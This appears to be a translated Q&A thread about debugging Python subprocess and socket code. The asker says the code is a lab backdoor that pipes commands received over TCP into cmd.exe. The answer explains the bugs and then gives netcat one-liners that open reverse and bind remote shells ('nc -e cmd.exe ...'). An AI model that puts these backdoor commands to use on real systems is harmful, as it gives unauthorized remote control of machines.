python subprocess stdin.write一个字符串错误22无效的参数

时间:2013-03-27 00:59:04

标签: python

我有两个与socket通信的python文件。当我把数据传递到stdin.write时,我有错误22无效的参数。代码

a="C:\python27\Tools"
proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
data = s.recv(1024) # s is the socket i created
proc.stdin.write(data) ##### ERROR in this line
output = proc.stdout.readline()
print output.rstrip()
remainder = proc.communicate()[0]
print remainder

更新 好吧基本上我想在网络实验室内的localhost中创建类似系统后门的东西。这是出于教育目的。我有两台机器。 1)正在运行ubuntu和 我在服务器上有这段代码:

import socket,sys
s=socket.socket()
host = "192.168.2.7" #the servers ip
port = 1234
s.bind((host, port))
s.listen(1)                 #wait for client connection.

c, addr = s.accept()     # Establish connection with client.
print 'Got connection from', addr
c.send('Thank you for connecting')

while True:
    command_from_user = raw_input("Give your command: ")  #read command from the user
    if command_from_user == 'quit': break
    c.send(command_from_user)  #sending the command to client
c.close()                # Close the connection

为客户提供此代码:

import socket 
import sys
import subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Socket created'

host = "192.168.2.7" #ip of the server machine
port = 1234
s.connect((host,port)) #open a TCP connection to hostname on the port
print s.recv(1024) 

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder

    stdoutput=proc.stdout.read() + proc.stderr.read()

s.close #closing the socket

,错误发生在客户端文件

  

回溯(最近一次调用最后一次):文件“ex1client2.py”,第50行,在proc.stdin.write中('%s \ n'%数据)ValueError:对已关闭文件的I / O操作

基本上我想从服务器到客户端运行串行命令并将输出返回到服务器中。第一个命令执行,第二个命令我收到此错误信息。 导致我使用此解决方案的主要问题是使用chanhing目录命令。当我超越cd“路径”它不会改变。

2 个答案:

答案 0 :(得分:3)

您的新代码有不同的问题,这就是为什么它会引发类似但不同的错误。让我们看一下关键部分:

while True:
    data = s.recv(1024)
    if (data == "") or (data=="quit"): 
        break
    proc.stdin.write('%s\n' % data)
    proc.stdin.flush()
    remainder = proc.communicate()[0]
    print remainder
    stdoutput=proc.stdout.read() + proc.stderr.read()

问题是,每次通过此列表,您都会调用proc.communicate()。正如the docs解释的那样,这将:

  

将数据发送到stdin。从stdout和stderr读取数据,直到达到文件结尾。等待进程终止。

因此,在此调用之后,子进程已退出,并且管道全部关闭。但是下次循环时,你会尝试写入它的输入管道。由于该管道已关闭,因此您获得了ValueError: I/O operation on closed file,这正是它所说的内容。

如果要在单独的cmd.exe shell实例中运行每个命令,则必须将proc = subprocess.Popen('cmd.exe', …)位移动到循环中。

另一方面,如果您想逐个发送命令到同一个shell,则无法调用communicate;您必须写信至stdin,从stdoutstderr开始阅读,直到您知道他们已完成为止,并在下一次循环播放所有内容。

第一个的缺点非常明显:如果你在第一个命令中执行cd \Users\me\Documents,那么在第二个命令中执行dir,并且它们在完全不同的shell中运行,您最终会获得C:\python27\Tools而不是C:\Users\me\Documents的目录列表。

但第二个的缺点也很明显:你需要编写代码,以某种方式知道每个命令何时完成(可能因为你再次得到提示?),或者可以阻止proc.stdoutproc.stderrs同时出现。 (并且不会意外地使管道死锁。)而且你甚至不能将它们全部扔进select,因为管道不是套管。因此,唯一真正的选择是为stdout创建一个读者线程,为stderr创建另一个线程,或者从PyPI获取一个异步子进程库,或者使用twisted或其他具有自己的异步子进程管道方式的框架。

如果查看communicate的来源,可以看到线程应该如何工作。


同时,作为旁注,您的代码还有另一个非常严重的问题。您期望每个s.recv(1024)将返回一个命令。这不是TCP套接字的工作方式。您将在一个recv中获得第一个2-1 / 2命令,然后在下一个命令中获得1/4的命令,依此类推。

在本地主机甚至是家庭局域网上,当您只是发送一些小消息时,它将在99%的时间内正常工作,但您仍需要处理1%或您的代码只是有时会神秘地打破。通过互联网,甚至许多真正的局域网,它只能在10%的时间内工作。

因此,您必须实现某种以某种方式划分消息的协议。

幸运的是,对于简单的情况,Python为您提供了一个非常简单的解决方案:makefile。当命令由换行符分隔时,您可以同步阻塞,直到您获得完整的命令,这是微不足道的。而不是:

while True:
    data = s.recv(1024)

......就这样做:

f = s.makefile()
while True:
    data = f.readline()

您只需要稍后记住close fs以及smakefilef之后)。一个更惯用的用法是:

with s.makefile() as f:
    s.close()
    for data in f:

最后一件事:

  

好吧基本上我想在网络实验室内的本地主机上创建类似系统后门的东西

"本地主机"意味着你运行一台机器,所以"网络实验室内的本地主机"没有意义。我认为你只是意味着"主持人"在这种情况下,整个事情都是有道理的。


如果您不需要使用Python,则可以使用netcat使用单行进行整个操作。有几个不同的版本,语法略有不同。我相信Ubuntu内置了GNU netcat;如果没有,它可能可以安装apt-get netcatapt-get nc。 Windows没有任何东西,但你可以得到几乎任何变种的端口。

快速google for" netcat远程shell"发现了一堆博客文章,论坛消息,甚至是显示如何执行此操作的视频,例如Using Netcat To Spawn A Remote Shell,但您可能最好使用Google搜索netcat教程。

更常见的设计是拥有"后门"机器(你的Windows机器)听一个端口,而另一台机器(你的Ubuntu)连接到它,这就是大多数博客帖子/等等。会告诉你。这个方向的优点是你的后院服务器"永远倾听 - 您可以连接,做一些事情,退出,稍后再连接等,而无需返回Windows框并开始新的连接。

但另一方面,Windows机箱上的后院客户端也同样容易。在您的Ubuntu框中,启动一个只将终端连接到第一个连接的服务器:

nc -l -p 1234

然后在Windows框中,建立与该服务器的连接,并将其连接到cmd.exe。假设您已经安装了GNU语法变体:

nc -e cmd.exe 192.168.2.7 1234

那就是它。比在Python中编写它简单得多。

对于更典型的设计,Windows上的后门服务器运行:

nc -k -l -p 1234 -e cmd.exe

然后你从Ubuntu连接到:

nc windows.machine.address 1234

或者您甚至可以将-t添加到后门服务器,只需与telnet而不是nc联系。

答案 1 :(得分:1)

问题在于你实际上根本没有打开子进程,因此管道正在关闭,所以你试图写入不存在的东西。 (我很确定POSIX保证你会在这里获得EPIPE,但在Windows上,subprocess首先没有使用POSIX管道,所以无法保证你到底是什么我会得到。但你肯定会得到一些错误。)

发生这种情况的原因是你试图打开一个名为'\n'的程序(如换行符,而不是反斜杠和n)。我认为这在Windows上甚至不合法。而且,即使是这样,我也非常怀疑你的路上有一个名为'\n.exe'的可执行文件。

如果您没有使用shell=True,这将更容易看到。在这种情况下,Popen本身会引发异常(ENOENT),这会告诉你类似的事情:

OSError: [Errno 2] No such file or directory: '
'

......这将更容易理解。

一般情况下,除非确实需要一些shell功能,否则不应使用shell=True。而且您需要一个shell功能并且还需要手动读取和写入管道非常罕见。

如果你没有重用data来表示两个完全不同的东西(要运行的程序的名称,以及从套接字传递到管道的数据),那也不会让人感到困惑。